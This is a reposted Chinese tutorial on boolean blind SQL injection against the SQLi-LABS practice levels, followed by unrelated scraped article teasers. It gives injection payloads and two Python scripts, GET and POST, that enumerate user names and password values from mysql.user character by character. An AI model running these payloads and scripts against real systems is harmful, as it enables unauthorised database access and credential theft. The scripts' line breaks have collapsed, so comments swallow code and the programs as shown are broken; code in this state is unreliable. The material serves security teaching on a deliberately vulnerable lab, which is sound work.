Web安全:SQL注入之布爾盲注原理+步驟+實戰操作

「作者簡介」:2022年北京冬奧會網絡安全中國代表隊,CSDN Top100,就職奇安信多年,以實戰工作為基礎對安全知識體系進行總結與歸納,著作適用于快速入門的 《網絡安全自學教程》,內容涵蓋系統安全、信息收集等12個知識域的一百多個知識點,持續更新。

這一章節我們需要知道布爾盲注的原理和使用步驟。

在這里插入圖片描述

布爾盲注是SQL注入漏洞的利用方式之一,布爾盲注使用時分為兩個步驟:

  1. 使用 length()函數判斷查詢結果的「長度」
  2. 使用 substr()函數「截取」每一個字符,并「窮舉」出字符內容

布爾盲注

  • 1、原理分析
    • 1.1、長度判斷原理
    • 1.2、窮舉字符原理
  • 2、步驟總結
    • 2.1、判斷注入點
    • 2.2、判斷長度
    • 2.3、枚舉字符
  • 3、盲注腳本

1、原理分析

接下來,我們以測試網站(SQLi LABS 第5關)為例,解釋一下這兩個步驟的詳細使用方式和注入的原理。

1.1、長度判斷原理

首先,利用MySQL的 length()函數判斷返回結果的「長度」是多少。

比如,我們猜database()當前數據庫名字的長度是1個字符,在地址欄輸入:

?id=1' and length( database() )=1 -- a

執行流程如下:
在這里插入圖片描述
頁面異常(空)顯示,表示猜解長度有誤;

頁面正常顯示,表示猜解長度正確;

依次猜測1,2,3……n,直至長度猜解正確(頁面正常顯示)。
在這里插入圖片描述
如上,測試長度1~7一直異常(空)顯示,測試長度8時變為正常顯示,就意味著查詢結果的長度是8.

1.2、窮舉字符原理

查詢結果由一個個字符組成,每一個字符有95種可能性(大小寫字母、數字、特殊符號),對應的ASCLL編碼是32~126。

不了解ASCLL編碼的可以看我的另一篇文章:ASCLL編碼詳解,ASCLL編碼對照表

使用MySQL的 substr()函數「截取」查詢結果的第一個字符,使用 ascii()函數 將截取的字符「轉換」成 ASCLL編碼,依次判斷是否等于32,33,34……126。

頁面異常(空)顯示,表示猜解失誤;

頁面正常顯示,表示猜解正確;

猜解流程如下:
在這里插入圖片描述
ASCLL編碼 115 對應的字符是 ‘s’,確定第一個字符是:s

上一步已經確定了長度是 8,依次截取第 1~8個字符,并依次判斷每個字符的內容。
在這里插入圖片描述

2、步驟總結

頁面沒有顯示位置,沒有報錯信息,只有登錄成功和登錄失敗這兩種情況時,使用布爾盲注。布爾盲注的效率并不高,所以使用優先級排在聯合準入、報錯注入后面。

2.1、判斷注入點

同時滿足以下兩種情況:

?id=1' and 1 -- a	正常顯示
?id=1' and 0 -- a	異常(空)顯示

2.2、判斷長度

?id=1' and length( 查詢語句 )=1 -- a	

2.3、枚舉字符

?id=1 and ascii(substr( 查詢語句 ,1,1))=32 -- a

3、盲注腳本

手工盲注的時間復雜度非常大,通常會使用腳本盲注。

get請求盲注腳本:

import requests# 只需要修改url 和 兩個payload即可
# 目標網址(不帶參數)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解長度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 獲取長度
def getLength(url, payload):length = 1  # 初始測試長度為1while True:response = requests.get(url= url+payload_len.format(n= length))# 頁面中出現此內容則表示成功if 'You are in...........' in response.text:print('測試長度完成,長度為:', length,)return length;else:print('正在測試長度:',length)length += 1  # 測試長度遞增# 獲取字符
def getStr(url, payload, length):str = ''  # 初始表名/庫名為空# 第一層循環,截取每一個字符for l in range(1, length+1):# 第二層循環,枚舉截取字符的每一種可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 頁面中出現此內容則表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '個字符猜解成功:', str)break;return str;# 開始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

post請求盲注腳本:

import requests# 網站路徑
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判斷長度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚舉字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post請求參數
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判斷長度
def getLen(payload_len):length = 1while True:# 修改請求參數data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出現此內容為登錄成功if '../images/flag.jpg' in response.text:print('正在測試長度:', length)length += 1else:print('測試成功,長度為:', length)return length;# 枚舉字符
def getStr(length):str = ''# 從第一個字符開始截取for l in range(1, length+1):# 枚舉字符的每一種可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '個字符枚舉成功:',str )breaklength = getLen(payload_len)
getStr(length)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/11124.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/11124.shtml
英文地址,請注明出處:http://en.pswp.cn/web/11124.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

前端VUE基礎之創建腳手架

創建腳手架 第一步&#xff08;僅第一次執行&#xff09;&#xff1a;全局安裝vue/cli。 npm install -g vue/cli 到你要創建項目的目錄&#xff0c;然后使用命令創建項目 vue create xxxx 第三步&#xff1a;啟動項目 npm run serv 備注&#xff1a; 1. 如出現下載緩慢請…

PHP流程控制

PHP 流程控制主要是 if 和 switch 流程控制。 當您編寫代碼時&#xff0c;您常常需要為不同的判斷執行不同的動作。您可以在代碼中使用條件語句來完成此任務。 在 PHP 中&#xff0c;提供了下列條件語句&#xff1a; if 語句 - 在條件成立時執行代碼if...else 語句 - 在條件…

訪客管理系統對于校園安全的重要性

校園訪客辦理計劃是針對校園安全需求規劃的安全辦理體系&#xff0c;主要用于對校園外來人員的科學辦理。要做好校園安全作業&#xff0c;把風險分子拒之門外尤為要害。校園訪客辦理計劃實現訪客實名制&#xff0c;并結合公安網、黑名單功用&#xff0c;對風險人員進行提前預警…

沒有公網ip,如何實現外網訪問內網?

目前撥號上網是最廣泛的上網方式&#xff0c;這種方式優點是價格便宜&#xff0c;缺點是沒有固定公網ip&#xff0c;每次重新您撥號ip地址都會變。如果有一臺服務器&#xff0c;需要實現外網訪問&#xff0c;在沒有固定公網ip的環境下&#xff0c;該如何實現呢&#xff1f;使用…

【CTF Web】QSNCTF 文章管理系統 Writeup(SQL注入+Linux命令+RCE)

文章管理系統 題目描述 這是我們的文章管理系統&#xff0c;快來看看有什么漏洞可以拿到FLAG吧&#xff1f;注意&#xff1a;可能有個假FLAG哦 解法 SQL 注入。 ?id1 or 11 --取得假 flag。 爆庫名。 ?id1 union select 1,group_concat(schema_name) from information_sch…

華為OD機試【統一限載貨物數最小值】(java)(200分)

1、題目描述 火車站附近的貨物中轉站負責將到站貨物運往倉庫&#xff0c;小明在中轉站負責調度 2K 輛中轉車(K輛干貨中轉車&#xff0c;K 輛濕貨中轉車)貨物由不同供貨商從各地發來&#xff0c;各地的貨物是依次進站&#xff0c;然后小明按照卸貨順序依次裝貨到中轉車&#xf…

二維數組 和 變長數組

在上一期的內容中&#xff0c;為諸君講解到了一維數組&#xff0c;在一維數組的基礎上&#xff0c;C語言中還有著多維數組&#xff0c;其中&#xff0c;比較典型且運用較為廣泛的就是我們今天的主角——二維數組 一 . 二維數組的概念 我們把單個或者多個元素組成的數組定義為一…

VScode 修改 Markdown Preview Enhanced 主題與字體

VScode 修改 Markdown Preview Enhanced 主題與字體 1. 修改前后效果對比2. 修改主題2.1 更改默認主題2.2 修改背景色 3. 修改字體 VS Code基礎入門使用可查看&#xff1a; VS Code 基礎入門使用&#xff08;配置&#xff09;教程 其他Vs Code 配置可關注查看&#xff1a; Vs C…

2024年如何選什么版本FL Studio才適合自己編曲?

fl studio是什么軟件 水果編曲軟件 FL Studio&#xff0c;全稱為Fruity Loops Studio&#xff0c;是一款全能音樂制作環境或數字音頻工作站&#xff08;DAW&#xff09;&#xff0c;集編曲、錄音、剪輯、混音等多種功能于一身。 FL Studio最初名為Fruity Loops&#xff0c;因…

外網如何訪問內網?快解析

由于公網IP資源短缺&#xff0c;我們的電腦大多處于內網環境&#xff0c;如何在外網訪問內網電腦&#xff0c;成為一個令人頭疼的問題&#xff0c;下面我給大家推薦一個非常實用的方法。 1&#xff1a;訪問快解析下載安裝快解析服務器 2&#xff1a;運行軟件&#xff0c;點擊“…

2.4 輸入和顯示

本節必須掌握的知識點&#xff1a; 示例五源代碼 代碼分析 匯編解析 2.4.1 示例五 ■格式化輸入函數scanf scanf函數可以從鍵盤讀取輸入的信息。scanf函數同樣可以像printf函數那樣&#xff0c;通過轉換說明“%d”來限制函數只能讀取十進制數。scanf函數的參數為可變參數…

【算法訓練 day25 修剪二叉搜索樹、將有序數組轉化為二叉搜索樹、把二叉樹搜索轉化為累加樹】

目錄 一、修剪二叉搜索樹-LeetCode 669思路實現代碼個人代碼視頻鏈接代碼 個人問題 二、將有序數組轉化為二叉搜索樹-LeetCode 108思路實現代碼個人問題 三.把二叉樹搜索轉化為累加樹-LeeCode 538思路實現代碼個人問題 一、修剪二叉搜索樹-LeetCode 669 Leecode鏈接: leetcode…

項目管理-計算題公式【復習】2/2

2.【成本】相關公式 2.1掙值分析 三個參數 &#xff08;1&#xff09;計劃價值(PV&#xff0c;Plan Value): PV&#xff1a;計劃工作分配的經批準的預算&#xff0c;是為完成某活動或 WBS 組成部分而準備的一份經批準的預算。不包括管理儲備。 注意&#xff1a;按照計劃截止目…

LwIP 之九 詳解 UDP RAW 編程、示例、API 源碼、數據流

我們最為熟知的網絡通信程序接口應該是 Socket。LwIP 自然也提供了 Socket 編程接口,不過,LwIP 的 Socket 編程接口都是使用最底層的接口來實現的。我們這里要學習的 UDP RAW 編程則是指的直接使用 LwIP 的最底層 UDP 接口來直接實現應用層功能。這里先來一張圖,對 LwIP 內部…

React 和 Vue兩個流行的前端 JavaScript 框架有什么區別?

設計理念&#xff1a; React 是由 Facebook 開發的&#xff0c;專注于構建 UI 組件。它采用了一種聲明式的、組件化的開發模式&#xff0c;通過使用虛擬 DOM 來實現高效的 UI 更新。 Vue 是由尤雨溪開發的&#xff0c;旨在提供一個靈活且易于上手的框架。Vue 也支持組件化開發…

電商技術揭秘營銷相關系列文章合集(4)

相關系列文章 電商技術揭秘相關系列文章合集&#xff08;1&#xff09; 電商技術揭秘相關系列文章合集&#xff08;2&#xff09; 電商技術揭秘相關系列文章合集&#xff08;3&#xff09; 文章目錄 引言集合說明集合文章列表 引言 在數字化浪潮的推動下&#xff0c;電商行…

【35分鐘掌握金融風控策略25】定額策略實戰2

目錄 基于收入和負債的定額策略 確定托底額度和蓋帽額度 確定基礎額度 基于客戶風險評級確定風險系數 計算最終授信額度 確定授信有效期 基于收入和負債的定額策略 在實際生產中&#xff0c;客戶的收入和負債數據大多無法直接獲得&#xff0c;對于個人的收入和負債數據&…

【JavaEE】Spring Boot 入門:快速構建你的第一個 Spring Boot 應用

目錄 第一個SpringBoot程序介紹項目創建創建項目目錄介紹輸出Hello World 第一個SpringBoot程序 介紹 在學習SpringBoot之前, 我們先來認識?下Spring 我們看下Spring官?(https://spring.io/)的介紹 可以看到, Spring讓Java程序更加快速, 簡單和安全. Spring對于速度、簡單…

【論文閱讀筆記】MapReduce: Simplified Data Processing on Large Clusters

文章目錄 1 概念2 編程模型3 實現3.1 MapReduce執行流程3.2 master數據結構3.3 容錯機制3.3.1 worker故障3.3.2 master故障3.3.3 出現故障時的語義 3.4 存儲位置3.5 任務粒度3.6 備用任務 4 擴展技巧4.1 分區函數4.2 順序保證4.3 Combiner函數4.4 輸入和輸出的類型4.5 副作用4.…

用balenaEtcher燒錄ubuntu的iso文件都失敗,所以選用了另一種燒錄的軟件Rufus,然后燒錄成功了+安裝ubuntu的坑

https://releases.ubuntu.com/bionic/進入網頁下載ubuntu 選擇燒錄軟件將下載的Ubuntu燒錄到U盤中 之前用這個U盤燒錄過一次&#xff0c;成功了&#xff0c;后來應該是U盤受損或者是什么其他原因使得用這個U盤總是燒錄失敗 換思路&#xff1a;由于一直使用balenaEtcher燒錄ubu…